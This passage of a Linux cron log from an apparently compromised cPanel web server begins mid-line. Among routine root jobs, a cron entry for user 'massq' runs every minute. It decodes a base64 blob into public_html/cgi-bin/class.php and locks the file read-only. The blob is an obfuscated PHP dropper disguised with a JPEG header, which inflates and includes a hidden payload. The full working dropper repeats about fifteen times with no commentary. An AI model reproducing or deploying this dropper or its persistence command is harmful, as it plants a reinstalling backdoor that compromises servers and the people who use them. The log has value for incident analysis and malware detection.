&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:50:01 server CROND[13990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:50:01 server CROND[13996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:50:01 server CROND[13997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:50:01 server CROND[14000]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 15:50:01 server CROND[14013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:51:01 server CROND[14882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:52:01 server CROND[15733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:53:01 server CROND[16680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:54:01 server CROND[17605]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:55:01 server CROND[18469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:55:01 server CROND[18470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:55:01 server CROND[18468]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:56:01 server CROND[19395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:57:01 server CROND[20257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:57:01 server CROND[20258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:58:01 server CROND[21165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:59:01 server CROND[22028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:00:01 server CROND[22892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 16:00:01 server CROND[22895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:00:01 server CROND[22894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:00:01 server CROND[22893]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 16:00:01 server CROND[22898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:01:01 server CROND[23822]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 16:01:01 server CROND[23823]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:01:01 server run-parts(/etc/cron.hourly)[23822]: starting 0anacron
Nov 13 16:01:01 server run-parts(/etc/cron.hourly)[23835]: finished 0anacron
